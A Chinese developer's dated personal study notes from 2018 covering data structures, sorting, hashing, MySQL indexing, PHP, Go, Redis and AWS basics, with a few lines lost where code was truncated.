表示层 会话层
传输层:TCP UDP
网络层:IP ICMP RIP OSPF BGP IGMP
数据链路层:SLIP CSLIP 物理层
6.运算符优先级:&&>||>=
==========================================================================
2018年7月10日 记录:
group by配合group_concat可以合并多条记录到一条
斐波那契数列公式:
f(n),当n=0 是0;当n=1 是1;当n>1 f(n-1)+f(n-2)
2.迭代法实现数列
a[0]=0;a[1]=1;for(int i=2;i<40;i++){a[i]=a[i-1]+a[i-2]}
3.递归法实现数列
int Fbi(int i){if(i<2) return i==0?0:1;return Fbi(i-1)+Fbi(i-2);}
4.迭代使用的是循环结构,递归使用的是选择结构;递归结构清晰但是会建立大量函数副本,迭代不占更多内存
==========================================================================
2018年7月9日 记录:
IP登录限制项目数据库平台建表
云平台:AWS Amazon Web Service 包含很多服务例如Amazon Simple Storage Service(S3) 和Amazon Elastic Compute Cloud(可伸缩云计算)
2.AWS Authenticatio需要一对秘钥:AWS Access Key ID和AWS Secret Key,使用环境变量保存比较安全export AWS_ACCESS_KEY_ID "xxx"
3.EC2可以看做是虚拟机和虚拟服务器,一旦instance启动后就有公网IP可以访问
4.Azure是微软提供的云服务
5.SSH(Secure Shell)提供安全通信,远程登录和远程命令的网络协议,apt-get install openssh-server
6.S3的访问方式两种:s3.amazon.com/myid/1.jpg myid.s3.amazon.com/1.jpg
7.数手指是12进制.巴比伦数字是60进制,算筹是统一的十进制,可以表示小数和正负数
8.编码,是一种用在在机器与人,人与人之间传递信息的标准化方式,奠定现代计算机基础的是冯诺依曼
9.冯诺依曼架构会有溢出问题,整型溢出变成负数问题,浮点数损失精度问题
10.内存溢出或者段错误问题,因为c或c++没有提供内存保护机制加上强大的指针,如果使用动态内存分配,随机分配的,找问题不容易
11.罗素悖论,集合该不该包含他本身,解决罗素悖论是引入类型理论
12.IEEE754标准,浮点数的二进制表示
13.五大常用算法:贪婪算法,动态规划算法,分治算法,回溯算法 , 分支限界算法
14.冒泡排序,记忆
for($x=0;$x
for($y=0;$y
if($arr[$y]>$arr[$y+1]){
$temp=$arr[$y];
$arr[$y]=$arr[$y+1];
$arr[$y+1]=$temp;
}
}
}
31,65,82,76,13,27,10,第四趟的顺序,如果是第四趟了,那么后四个肯定是已经排好序的了,前三个小的分别往前走了四步,因此可以直接出答案
31 65 82 76 13 27 10
31 65 82 76 13 27 10
31 65 76 82 13 27 10
31 65 76 13 82 27 10
31 65 76 13 27 82 10
31 65 76 13 27 10 82
31 65 76 13 27 10 82
31 65 76 13 27 10 82
31 65 13 76 27 10 82
31 65 13 27 76 10 82
31 65 13 27 10 76 82
31 65 13 27 10 76 82
31 13 65 27 10 76 82
31 13 27 65 10 76 82
31 13 27 10 65 76 82
13 31 27 10 65 76 82
13 27 31 10 65 76 82
13 27 10 31 65 76 82
==========================================================================
2018年7月6日 记录:
索引案例学习:
1.如果使用某个索引进行范围查询,就无法再使用另一个索引(或者该索引的后续字段)进行排序了
2.使用in()技术
栈的应用-函数递归-斐波那契数列-前面相邻之和构成后一项
1.假设兔子在出生两个月以后就有繁殖能力,一对兔子每月能生出一对小兔子,假设所有兔子不死,一年后多少对兔子
1 1 2 3 5 8 13 21 34 55 89 144 233
==========================================================================
2018年7月5日 记录:
ip格式校验和ip段交集检测
获取用户IP:$_SERVER['REMOTE_ADDR']
类的自动加载:
1. spl_autoload_register() 函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。
2.__autoload() 函数也能自动加载类和接口,在以后的版本中它可能被弃用
选择优化的数据类型:
1.选择更小的数据类型,例如0-200的tinyint unsigned更好
2.选择简单的数据类型,例如整型比字符串代价更低
3.避免使用NULL,使得索引非常复杂
4.decimal类型用于存储精确的小数,可以指定精度小数点的最大位数,使用int乘以一定倍数存储
5.varchar类型用于存储可变长字符串,节省了存储空间
6.char类型定长,根据长度分配足够的空间,适合存储固定长度经常变更的数据,会截断末尾空格,例如MD5值
7.blob和text,分别采用二进制和字符方式存储,只需排序前面的一小部分字符,不能对全部字符串进行索引,大字段排序会用到磁盘临时表和文件排序
8.如果explain中的extra列包含了using temporary,说明使用了隐式临时表
栈顶放在单链表的头部,并且不需要头结点,对于空栈,链栈的空其实就是top=NULL,
1.链栈的进栈操作
s->next=S->top 把当前栈顶元素赋值给新结点的后继
S->top=s 把新结点赋值给栈顶指针
2.链栈的出栈操作,时间复杂度均为O(1s)
p=S->top 栈顶元素赋值给p
S->top=S->top->next 栈顶的后继赋值给栈顶,栈顶指针下移
free(p) 释放内存
==========================================================================
2018年7月4日 记录:
获取系统的性能和状态:
1.为基准测试建立目录,将测试结果,配置文件,测试指标,脚本和其他说明保存下来
2.收集CPU使用率,磁盘I/O,网络流量统计,show global status计数器等
3.自动化测试,可以是一个makefile文件或者一组脚本,可以根据选择:shell,PHP等
栈的抽象数据类型:
1.InitStack(*S):初始化操作,建立一个空栈
2.DestroyStack(*S):销毁栈
3.ClearStack(*S):将栈清空
4.StackEmpty(S):判断栈是否为空
5.GetTop(S,*e):用e返回S的栈顶元素
6.Push(*S,e):将e插入栈
7.Pop(*S,*e):删除栈顶元素
8.StackLength(S):返回S的元素个数
栈的顺序存储结构-进栈操作:
S->top++
S->data[S->top]=e
出栈操作:S->top--
两栈共享空间:
两个栈是在数组的两端,向中间靠拢,栈满是top1+1=top2,两个栈顶会面
进栈操作:
S->top+1=S->top2栈满
S->data[++S->top1] 根据传入的栈序号,栈1
S->data[--S->top2] 栈2
出栈就是判断两个栈的序号S->top1-- ; S->top2++
==========================================================================
2018年7月3日 记录:
1.InnoDB的数据存储在表空间,表空间是由InnoDB管理的一个黑盒子,由数据文件组成
2.InnoDB采用MVCC来支持高并发,REPEATABLE READ(可重复读),间隙锁(next-key locking)防止幻读
3.基于聚簇索引建立,聚簇索引对主键查询有很高的性能
4.从磁盘读取采用可预测性预读,自动在内存中创建hash索引以加速读操作的自适应哈希索引
5.支持热备份
6.InnoDB的事务模型与锁
MyISAM 加锁与并发,对整张表加锁
2.repair table进行数据修复
3.可以基于前几个字符创建索引
基准测试的指标:
吞吐量,单位时间内的事务处理数(TPS)
响应时间或延迟,测试任务所需的整体时间,百分比响应时间
并发性,HTTP协议是无状态的,大多数用户只是浏览读取,并不等同于web服务器的并发性,仅仅是表示会话存储机制可以处理多少数据的能力,关注正在工作中的并发操作或者是同时工作中的线程数或者连接数,使用sysbench测试,记录Threads_running状态值
可扩展性,
栈是限定仅在表尾进行插入和删除操作的线性表,先进后出的数据结构,允许插入和删除的一端称为栈顶,另一端称为栈底,不含任何数据元素的栈称为空栈
队列是只允许在一端进行插入操作,在另一端进行删除操作的线性表
==========================================================================
2018年7月2日 记录:
将单链表中终端结点的指针端由空指针改为指向头结点,单循环链表,循环链表和单链表的主要差异就在于循环的判断条件上
原来是判断p->next是否为空,现在则是p->next不等于头结点,则循环未结束
2.指向终端结点的尾指针代表该循环链表
3.两条循环链表合并成一个循环链表
p=rearA->next;保存A表的头结点
rearA->next=rearB->next->next;将本是B表的第一个结点赋值给rearA->next
rearB->next=p; 将原A表的头结点赋值给rearB->next free(p)
双向链表就是在单链表的每个结点中,再设置一个指向其前驱结点的指针域
2.双向链表的插入操作,将s插入到p和p->next之间 , 先搞定s的前驱和后继 , 再搞定后结点的前驱 ,最后搞定前结点的后继
s->prior=p ;把p赋值给s的前驱
s->next=p->next ;把p->next赋值给s的后继
p->next->prior=s ;把s赋值给p->next的前驱
p->next =s ; 把s赋值给p的后继
3.删除结点p
p->prior->next=p->next ;把p->next赋值给p->prior的后继
p->next->prior=p->prior ;把p->prior赋值给p->next的前驱
==========================================================================
2018年6月29日 记录:
线性表顺序存储结构的三个属性:
1.存储空间的起始位置:数组data,他的存储位置就是存储空间的存储位置
2.最大存储容量:数组长度MAXSIZE
3.当前长度:length
获取元素:L.data[i-1] , 时间复杂度是O(1)
插入元素: 时间复 杂度都是O(n)
1.如果插入位置不合理,抛出异常
2.线性表长度大于等于数组长度,抛出异常或动态增加容量
3.从最后一个元素开始向前遍历到第i位置,分别向后移动一个位置 L->data[k+1]=L->data[k]
4.将元素填入位置i处 L->data[i-1]=e
5.表长加1
删除元素: 时间复杂度都是O(n)
1.如果删除位置不合理,抛出异常
2.取出删除元素 L.data[i-1]
3.从删除位置开始遍历到最后一个位置,向前移动一个位置 L->data[k-1]=L->data[k]
4.表长减一
静态链表其实也是要提前申请大的内存,只是在删除和插入的时候,不需要之后的每个元素都变化
2.静态链表本身也是数组 也需要固定分配存储大小 只是静态链表加入了游标 来实现指针的作用 插入和删除和链表的效率一样
3.静态链表是为了让没有指针的高级语言也能够用数组实现链表功能
4.静态链表分配足够大的空间,两个链表一个实际链表一个备用链表,数组的第一个元素的cur用来存放备用链表第一个结点的下标,数组最后一个元素的cur用来存放第一个插入元素的下标,实际链表的最后一个元素cur为0
utf8mb4:
1.可以获取更好的兼容性,可以存储emoji表情符,建议使用 utf8mb4 而非 utf8,事实上,最新版的phpmyadmin默认字符集就是utf8mb4。
2.数据库表采用utf8mb4编码,其中varchar(255)的column进行了唯一键索引,而mysql默认情况下单个列的索引不能超过767位(不同版本可能存在差异)
3.utf8mb4编码,一个字最多可以占用4个字节,那255*4就会超出767的字符限制了
4.解决索引长度不够问题[Err] 1071 - Specified key was too long; max key length is 767 bytes
设置: innodb_large_prefix=1 改为on就是限制3072 innodb_file_format=Antelope
mysql索引的长度计算:
1.所有的索引字段,如果没有设置not null,则需要加一个字节。
2.定长字段,int占4个字节、date占3个字节、char(n)占n个字符。
3.变长字段,varchar(n),则有n个字符+两个字节。
4.不同的字符集,一个字符占用的字节数不同。latin1编码的,一个字符占用1个字节,gbk编码的,一个字符占用2个字节,utf8编码的,一个字符占用3个字节。 utf8mb4是一个字符占4个字节
5.使用explain语句查询到的key_len字段,可以适用于上面的计算规则,可以看到查询是否使用到了联合索引
6.mysql优化器会对条件中的 and的前后顺序根据多列索引顺序自动纠正过来
==========================================================================
2018年6月28日 记录:
ip登陆限制,ip段排除内网三个网段的地址
2.ip段如果在范围内,就禁止添加
3.ip段如果有交集也禁止添加
FormData类型其实是在XMLHttpRequest 2级定义的,它是为序列化表以及创建与表单格式相同的数据(当然是用于XHR传输)
创建一个formData对象实例有几种方式
1、创建一个空对象实例 var formData = new FormData();
单链表的整表删除:
1.声明结点p和q
2.将第一个结点赋值给p
3.循环:
将下一个结点赋值给q
释放p
将q赋值给p
单链表结构和顺序存储结构的优缺点:
1.存储分配方式=>顺序存储是用一段连续的存储单元依次存储线性表的数据元素;单链表采用链式存储结构,用一组任意存储单元存放
2.时间性能=>查找 顺序结构是O(1) 单链表是O(n) ;插入和删除 顺序存储是O(n) 单链表是O(1)
3.空间性能=>顺序存储是预分配存储空间 ; 单链表不需要预分配,元素个数不受限制
静态链表:数组描述的链表,游标实现法,如何用静态数组模拟动态链表结构的存储空间分配,需要时申请,无用时释放
数组的每个下标都对应一个data和一个cur,cur相当于单链表中的next指针,我们把cur称作游标
结构体数组:是指数组中的每个元素都是一个结构体。在实际应用中,结构体数组常被用来表示一个拥有相同数据结构的群体
只要是人写的代码,就有bug,不是这出问题就是那出问题,如果没有问题就是你还没有发现,阿里也不例外
楼上说不浮不躁的装个屁呢,房价一直涨涨涨 生活成本一直涨涨涨 你还有心情不浮不躁慢慢潜心研究
==========================================================================
2018年6月27日 记录:
链表头指针勘误:
1.头指针是指链表指向第一个结点的指针
2.若链表有头结点,则是指向头结点的指针
3.头指针具有标识作用,用头指针冠以链表的名字
4.无论链表是否为空,头指针均存在
5.图3-6-4和图3-6-6,两图中“头指针”改为“后继指针地址”。图3-6-6,“0900”应该改为“NULL”
6.单链表在C语言中用结构指针来描述
7.单链表的读取主要是靠指针后移查找
单链表第i个数据插入结点的思路:
1.声明一个指针p指向链表的第一个结点,初始化j从1开始
2.当j3.若到链表末尾p为空,则说明第i个元素不存在
4.否则查找成功在系统中生成空结点s
5.将数据元素e赋值给s->data
6.单链表的插入标准语句:s->next=p->next; p->next=s;
单链表删除第i个数据结点的思路
前三步一样
4.查找成功,将想删除的结点p->next赋值给q
5.删除标准语句p->next=q->next
6.将q结点的数据赋值给e
7.释放q结点 , free(q)
插入和删除都分为两部分,遍历查找第i个元素,插入和删除元素,单链表和顺序表的时间复杂度:
查找的的时候都是O(n),链表在插入和删除的时候都是O(1),插入和删除越频繁优势越明显
==========================================================================
2018年6月26日 记录:
ip登陆限制:
1.该企业是否开启的状态位
2.该用户是否在白名单
3.该用户ip是否在限制ip和ip段中
线性表的抽象数据模型ADT:
1.InitList(*L) 初始化操作
2.ListEmpty(L) 判断线性表是否为空
3.ClearList(*L) 清空线性表
4.GetElem(L,i,*e)线性表L中的第i个元素返回给e
5.LocateElem(L,e) 获取该元素在线性表中的位置
6.ListInsert(*L,i,e)在线性表的第i个位置插入元素e
7.ListDelete(*L,i,*e)删除线性表L中第i个元素,并用e返回该值
8.ListLength(L) 获取线性表的元素个数
A和B的并集操作:
循环B中的每个元素,判断当前元素是否在A中,如果不在就插入到A中
线性表的顺序存储结构用一维数组来实现,第i个数据元素的存储位置可以由a1推算出loc(Ai)=Loc(A1)+(i-1)*c
==========================================================================
2018年6月25日 记录:
Service Worker 会在另外的线程去缓存图片,等图片缓存完之后,再次刷新页面,就能看到它的威力。
散列函数:
1.直接定址法,f(key)=a*key+b,简单但是很少用
2.数字分析法,手机号的后四位等,抽取方法是使用关键字的一部分来计算散列存储位置的方法,在散列函数中是常常用到的手段
3.平方取中法
4.折叠分割求和法
5.除留余数法,f(key)=key mod p (p<=m) 如果表的长度是m,通常p为小于等于表长的最小质数
6.随机数法,f(key)=random(key) ,设计好一个随机种子,使用相同的随机种子可以得到相同的数
解决哈希冲突:
1.开放定址法之一线性探测法,f(key)=(f(key)+n) mod 12 ,都不是同义词却需要争夺一个地址的情况称为堆积,增加平方运算不让关键字聚集在某一块区域,称为二次探测法f(key)=(f(key)+n的平方) mod 12, 位移量n采用随机函数生成,称之为随机探测法
2.再散列函数法,调用多个散列函数
3.链地址法
将关键字为同义词的记录存储在一个单链表中,在散列表中只保留所有同义词表的头指针
4.公共溢出区法,给所有冲突的关键字存到单独的溢出表
C语言静态数组:
数组的长度需要事先指定,只能是一个常数,系统会为它分配一个固定大小的空间,以后都不能改变
数组越界,访问到数组以外的内存
数组溢出,赋值时超出数组长度
动态数组:
数组的长度无法预先确定,执行代码的过程中用malloc分配的,需要手动释放内存
==========================================================================
2018年6月22日 记录:
php字符串比较大小:
1.两个字符进行大小比较时,是比较着这两个字符的ASCII码大小
2.两个字符串进行大小比较时,是从第一个字符开始,分别比教对应的ASCII大小
3.当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型,例如:intval("999元")为999
4.0与任意不可转化为数字的字符串比较都为true
结构体指针,指针指向结构体,结构体变量名和数组名不同,数组名在表达式中会被转换成数组指针.
2.结构体不会分配内存空间,是一种数据类型,结构体变量才包含实实在在的数据
3.终端节点的指针端由空指针改为指向头结点,称为单循环列表,简称循环列表
4.顺序表查找时,挨个比较记录a[i]与key的值,有序表查找时利用小于,大于,折半查找
5.散列技术: 存储位置=f(关键字),不需要比较直接取得存储位置;散列技术是在记录的存储位置和它的关键字之间建立一个确定的对应关系f,使得每个关键字key对应一个存储位置f(key).f称为散列函数或者哈希函数;采用散列技术将记录存储在一块连续的存储空间中,被称为散列表或哈希表
6.散列技术既是存储方法也是查找方法,主要是面向查找的存储,最适合的求解问题是查找与给定值相等的记录
7.不适用散列技术的情况:一对多;范围查找;排序;最大最小值
8.冲突:两个关键字key1!=key2,但是f(key1)=f(key2),这种现象称为冲突
9.哈希函数的标准是,计算简单,散列地址分布均匀
==========================================================================
2018年6月21日 记录:
动态内存分配:
1.在静态存储区域分配,编译时就分配好的变量
2.在栈中进行分配,函数
3.在堆中进行分配,调用malloc等函数,如果没有释放就一直在内存中
ps命令的返回结果:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: 终端的次要装置号码 (minor device number of tty)
STAT: 该行程的状态:
D: 不可中断的静止
R: 正在执行中
S: 静止状态
T: 暂停执行
START: 行程开始时间
TIME: 执行的时间
COMMAND:所执行的指令
指针变量对星号*的总结:
在我们目前所学到的语法中,星号*主要有三种用途:
表示乘法,例如int a = 3, b = 5, c; c = a * b;,这是最容易理解的。
表示定义一个指针变量,以和普通变量区分开,例如int a = 100; int *p = &a;。
表示获取指针指向的数据,是一种间接操作,例如int a, b, *p = &a; *p = 100; b = *p;
float 称为单精度浮点型,double 称为双精度浮点型,采用指数形式(2.1E5 = 2.1×105 ),float 始终占用4个字节,double 始终占用8个字节,
小数在内存中的存储形式有关,很多简单的小数压根不能精确存储
redis服务器中的数据库默认有16个,可以使用select命令来切换数据库,select 2,当多次切换后分不清时,可以显式的执行下select命令
2.expire命令可以对键设置生存时间,ttl命令可以返回剩余的生存时间
3.过期删除策略,定时删除(比较耗费cpu时间),惰性删除,定期删除
4.列表键的底层实现之一就是链表,redis的链表实现是双向链表
5.字典,又称为 符号表,关联数组,映射(map),保存键值对的抽象数据结构,哈希键的底层实现之一
==========================================================================
2018年6月20日 记录:
哈希冲突攻击利用的哈希表最根本的弱点是:开源算法和哈希实现的确定性以及可预测性,利用特殊构造的key来进行攻击。要解决这个问题的方法则是让攻击者无法轻易构造 能够进行攻击的key序列。PHP采用的是一种 治标不治本的做法: 限制用户提交数据字段数量 这样可以避免大部分的攻击,执行json_decode()的时候也可能会遭受攻击,目前PHP中HashTable的哈希冲突解决方法就是链接法。
SDS(简单动态字符串)和C字符串有区别:
1.容易获取长度
2.杜绝缓冲区溢出
3.减少修改字符串时带来的内存重分配次数
==========================================================================
2018年6月19日 记录:
疑似问题:删除一个群发列表,增加一个新的群发列表,此时点返回,列表里面会少几条,刷新后正常显示
Service Mesh 是用于处理服务间通信的基础设施层。它负责通过构成现代云原生应用程序的复杂拓扑结构来可靠地传递请求,是位于 TCP / IP 之上的抽象层的网络模型,对服务节点间请求的路由机制进行了抽象
处理海量数据问题:
1.哈希分治;2.simhash算法;3.外排序;4.MapReduce;5.多层划分;6.位图;7.布隆过滤器;8.Trie树;9.数据库;10.倒排索引。
==========================================================================
2018年6月15日 记录:
==========================================================================
2018年6月14日 记录:
快速排序原理:
1.先找第一个数字为基准数
2.从右往左找小于基准数的,停止,从左往右找大于基准数的停止,两个交换
3.直到左右的相遇停止,和基准数进行交换
4.左边的继续递归,右边的继续递归
5.快速排序之所以比冒泡快,因为每次交换都是跳跃式的
==========================================================================
2018年6月13日 记录:
给定a、b两个文件,各存放50亿个url,每个url各占64字节,内存限制是4G,让你找出a、b文件共同的url
1.遍历文件,对每个url求取hash(url)%1000,然后根据所取得的值将url分别存储到1000个小文件
2.所有可能相同的url都在对应的小文件
3.把其中一个小文件的url存储到hash_set中。然后遍历另一个小文件的每个url,看其是否在刚才构建的hash_set中
快速排序:
1.序列中找第一个数作为基准数,
==========================================================================
2018年6月12日 记录:
海量日志数据,提取出某日访问百度次数最多的那个IP:
1.大文件切分,比如切分成1024个小文件
2.每个小文件构筑key是ip,value是次数的map,找出最多的那个
3.排序一下
搜索引擎会通过日志文件把用户每次检索使用的所有检索串都记录下来,每个查询串的长度为1-255字节。假设目前有一千万个记录(这些查询串的重复度比较高,虽然总数是1千万,但如果除去重复后,不超过3百万个。一个查询串的重复度越高,说明查询它的用户越多,也就是越热门。),请你统计最热门的10个查询串,要求使用的内存不能超过1G,Top K 算法
维护一个Key为Query字串,Value为该Query出现次数的HashTable,每次读取一个Query,如果该字串不在Table中,那么加入该字串,并且将Value值设为1;如果该字串在Table中,那么将该字串的计数加一即可。最终我们在O(N)的时间复杂度内完成了对该海量数据的处理
==========================================================================
2018年6月11日 记录:
PHP命名空间与操作系统的物理文件系统不同,这是一个虚拟的概念,没必要和目录结构完全对应
2.为了兼容PSR-4自动加载器标准,会对应目录结构
3.可以导入函数和常量,use func xxx\xxx; use constant xxx\xxx
4.PHP-FIG制定了PSR-4的标准
5.使用接口编程可以极大的提高代码扩展能力
6.trait(性状):表名类可以做什么像是接口;提供模块化实现像是类
7.定义trait MyTrait{},在其他类的定义体内中使用use MyTrait,php解释器会把性状内容复制过来
8.这个时候在使用该类的对象的时候,可以直接使用trait中的方法
9.php生成器yeild,可以极大的节省内存,例如读取大文件的时候,只会为1行分配内存
10.使用use关键字附加变量到闭包上
创建链表尾插法
1.创建头结点,头结点的next指向null
2.把头结点赋值给一个中间变量
3.循环中创建结点, 中间变量的next指向新结点
4.新结点覆盖中间变量
==========================================================================
2018年6月8日 记录:
主从读取中,有些update语句指定了从库
1209 - The MySQL server is running with the--read-only option so it cannot execute this statement
两种原因:
1.连到从库了。从库一般设置为只读。
2.主库的read_only参数被修改为1
$i=0;
echo $i++;输出0
echo $i;输出1
go语言圣经-字符串:
1.一个字符串是一个不可改变的字节序列
2.文本字符串通常被解释为采用UTF8编码的Unicode码点(rune)序列
3.内置的len函数可以返回一个字符串中的字节数目
4.第i个字节并不一定是字符串的第i个字符,因为对于非ASCII字符的UTF8编码会要两个或多个字节
5.字符串操作基于原始字符串字节
6.字符串面值方式编写,只要将一系列字节序列包含在双引号内即可,解释字符串,其中的相关的转义字符将被替换;反引号括起来,支持换行,非解释字符串
7.每个符号都分配一个唯一的Unicode码点,Unicode码点对应Go语言中的rune整数类型
8.UTF8是一个将Unicode码点编码为字节序列的变长编码
9.变长的编码无法直接通过索引来访问第n个字符
10.将字符串看作是字节(byte)的切片(slice)来实现对其标准索引法的操作
==========================================================================
2018年6月7日 记录:
vim的多行注释:
1.按ctrl + v进入 visual block模式
2.按上下选中要注释的行
3.按大写字母I,再插入注释符,例如//
4.按两下esc
5.按ctrl + v进入 visual block模式,按箭头选中要取消的//
6.按d删除
c语言字符数组和字符串:
1.存放字符的数组称为字符数组 char str[]
2.'\0'也被称为字符串结束标志
3.由" "包围的字符串会自动在末尾添加'\0'
4.逐个字符地给数组赋值并不会自动添加'\0'
5.局部变量初始化为零值会自动添加结束标志
6.直接使用一个指针指向字符串的形式 char* str
7.最根本的区别是在内存中的存储区域不一样,字符数组存储在全局数据区或栈区,第二种形式的字符串存储在常量区。全局数据区和栈区的字符串(也包括其他数据)有读取和写入的权限,而常量区的字符串(也包括其他数据)只有读取权限,没有写入权限。
==========================================================================
2018年6月6日 记录:
字符串包含算法:
1.时间复杂度O(n + m),空间复杂度O(1)
先把长字符串a中的所有字符都放入一个Hashtable里,然后轮询短字符串b,看短字符串b的每个字符是否都在Hashtable里,如果都存在,说明长字符串a包含短字符串b,否则,说明不包含
2.
用一个整数代替了hashtable,空间复杂度为O(1),时间复杂度还是O(n + m)
hash |= (1 << (a[i] - 'A'));
if ((hash & (1 << (b[i] - 'A'))) == 0)
==========================================================================
2018年6月5日 记录:
发送群发邮件时判断邮件的大小,限制100M
filesize()获取文件字节大小
unlink()删除文件
rmdir()删除目录
旋转字符串:
1.暴力移位法
2.三步反转法
3.链表翻转
4.尾部移到头部
5.单词翻转
函数:描述客观世界变化规律的重要数学模型,指数函数,对数函数,幂函数
指数:a的x次方,a ^ x
对数函数:a ^x=N,x叫做以a为底N的对数,x=log(a)N [指数式化为对数式],计算机上的log都是默认以10为底的对数,因此log100 = 2,log1000 = 3
==========================================================================
2018年6月4日 记录:
微软经典的单词翻转题:输入“I am a student.”,则输出“student. a am I”。
==========================================================================
2018年6月1日 记录:
Date: UTC时间
Authorization: SAE 用户名:ssig
待做:获取模板详情读取s3解析上传图片问题
==========================================================================
2018年5月31日 记录:
==========================================================================
2018年5月30日 记录:
redis群发邮件问题:
1.auth 密码
2.清空list ltrim key 1 0
3.fwrite()插入队列的问题,必须fget一下
$line="lpush send_mass_mail {$row}\r\n";
$bool = fwrite($socket,$line);
$len = strlen($line);
$m = trim(fgets($socket));
==========================================================================
2018年5月29日 记录:
分布式文件系统是指文件系统管理的物理存储资源不一定直接连接在本地节点上,而是通过计算机网络与节点相连。分布式文件系统的设计基于客户机/服务器模式。
==========================================================================
2018年5月28日 记录:
web的工作方式:
1.浏览器作为客户端请求DNS服务器,找到域名对应的服务器IP,建立TCP连接,发送HTTP Request包
服务器收到请求包处理,调用自身服务,返回HTTP Response包,浏览器收到后渲染包里的body主体,收到全部内容后断开连接
2.go的http包一个连接的处理流程
http.HandleFunc("/hello", HelloServer)
http.ListenAndServe(":12345", nil)
server := &Server{Addr: addr, Handler: handler}//通过结构体字面值语法进行初始化并取地址
server.ListenAndServe() //调用类型的方法
net.Listen("tcp", addr)//监听端口
srv.Serve(tcpKeepAliveListener{ln.(*net.TCPListener)})//结构体字面值初始化第一种方式
for {
rw, e := l.Accept()
c := srv.newConn(rw)
go c.serve(ctx)
}
==========================================================================
2018年5月25日 记录:
导入两个有着名字相同的包,必须至少为一个同名包指定一个新的包名以避免冲突
2.计算包级变量的初始化表达式和执行导入包的init初始化函数,包的匿名导入
3.Go语言的工具箱集合了一系列功能的命令集
4.只需要配置一个名叫GOPATH的环境变量,用来指定当前工作目录即可
5.工作区结构: class="lazy" data-src[存储源代码] bin[存储编译后的可执行程序] pkg[存储编译后包的目标文件]
6.环境变量GOROOT用来指定Go的安装目录,目录结构和GOPATH类型
7.go env命令用于查看Go语言工具涉及的所有环境变量的值
8.go get可以下载一个单一的包或者用...下载整个子目录里面的每个包
9.go build sopans.com 编译构建包,可以通过环境变量找到
URL(Uniform Resource Locator)是“统一资源定位符:scheme://host[:port#]/path/.../[?query-string][#anchor]
DNS解析:递归查询过程 就是 “查询的递交者” 更替, 而 迭代查询过程 则是 “查询的递交者”不变
HTTP请求包:第一部分叫Request line(请求行), 第二部分叫Request header(请求头),第三部分是body(主体)。header和body之间有个空行
HTTP协议是无状态的和Connection: keep-alive:
1.HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接
2.从HTTP/1.1起,默认都开启了Keep-Alive保持连接特性
3.Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同服务器软件(如Apache)中设置这个时间
==========================================================================
2018年5月24日 记录:
申请redis服务:
申请服务器权限:
go语言圣经-包简介:
1.模块化的特性允许每个包可以被其它的不同项目共享和重用
2.每个包一般都定义了一个不同的名字空间用于它内部的每个标识符的访问
3.控制包内名字的可见性和是否导出来实现封装特性
4.修改了源文件必须重新编译该源文件对应的包和所有依赖该包的其他包
go语言圣经-包声明
1.源文件的开头都必须有包声明语句,确定当前包被其它包导入时默认的标识符(也称为包名)
2.默认包名一般采用导入路径名的最后一段的约定
3.名字为main的包是给go build(§10.7.3)构建命令一个信息,包编译完之后必须调用连接器生成一个可执行程序
==========================================================================
2018年5月23日 记录:
go test命令是一个按照约定和组织进行测试的程序
2.竞争检查器 go run -race 附带一个运行期对共享变量访问工具的test,出现WARNING: DATA RACE 说明有数据竞争
3.理想情况下是应该避免掉多余的工作的,称为duplicate suppression(重复抑制/避免)
4.设计并发,不重复,无阻塞 cache
1.并发: go func(){}()直接启动新的goroutine来实现
2.并发安全:使用sync.Mutex 互斥锁来实现
3.无阻塞:get之前锁定,赋值一个入口指针后立马解锁,然后进行http请求,这样不会被慢的http请求阻塞住
4.不重复:利用channel,多个并发同时写的时候,利用channel阻塞住,等第一个请求完写完后关闭channel,其他goroutine直接请求
==========================================================================
2018年5月22日 记录:
interface{}是空接口类型,可以将任意一个值赋给空接口类型,用类型断言来获取interface{}中值的方法
2.类型断言检查它操作对象的动态类型是否和断言的类型匹配,是一个使用在接口值上的操作
练习 9.3: 扩展Func类型和(*Memo).Get方法,支持调用方提供一个可选的done channel,使其具备通过该channel来取消整个操作的能力(§8.9)。一个被取消了的Func的调用结果不应该被缓存。
==========================================================================
2018年5月21日 记录:
3.header('Content-Disposition: attachment; filename="mass_list.txt"');下载文件
锁表
LOCK TABLES tbl_name READ;
LOCK TABLES tbl_name WRITE;
UNLOCK TABLES;
主从同步:
mysqldump -d slave_test --master-data > dbdump.db
mysqldump -uroot -p -d slave_test > dbdump2.db
vimdiff dbdump.db dbdump2.db
==========================================================================
2018年5月18日 记录:
数据库持久连接:
1.持久的数据库连接是指在脚本结束运行时不关闭的连接。当收到一个持久连接的请求时。PHP 将检查是否已经存在一个(前面已经开启的)相同的持久连接。如果存在,将直接使用这个连接;如果不存在,则建立一个新的连接。所谓“相同”的连接是指用相同的用户名和密码到相同主机的连接。
第一种方法是将 PHP 用作一个单独运行的语言解释器(CGI Wapper)。在这种情况下,使用持久连接和非持久连接没有任何区别——因为PHP脚本本身的执行不是持久的。
3.把 PHP 用作多进程 web 服务器的一个模块,这种方法目前只适用于 Apache,相同的客户端第二次向服务端提出请求时,它将有可能被一个不同的子进程来处理。在开启了一个持久连接后,所有请求 SQL 服务的后继页面都能够重用这个已经建立的 SQL Server 连接。
4.在持久连接中使用数据表锁时,如果脚本不管什么原因无法释放该数据表锁,其随后使用相同连接的脚本将会被持久的阻塞,使得需要重新启动 httpd 服务或者数据库服务。
5.使用事务处理时,如果脚本在事务阻塞产生前结束,则该阻塞也会影响到使用相同连接的下一个脚本
6.程序使用持久连接(PDO::ATTR_PERSISTENT)访问数据库,则一个PHP-FPM工作进程对应一个到MySQL的长连接.
请求结束后,PHP不会释放到MySQL的连接,以便下次重用,这个过程对程序是透明的.
这可以看作是PHP-FPM维护的"数据库连接池".
7.非但不能节约MySQL资源,反而会加剧数据库的负荷。
PDO持久化连接:
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
sync.Once惰性初始化:
一次性的初始化需要一个互斥量mutex和一个boolean变量来记录初始化是不是已经完成了,互斥量用来保护boolean变量和客户端数据结构
竞争检查器(the race detector):在go build,go run或者go test命令后面加上-race的flag,能够记录所有运行期对共享变量访问工具的test
主流的WEB服务:REST,SOAP,RPC
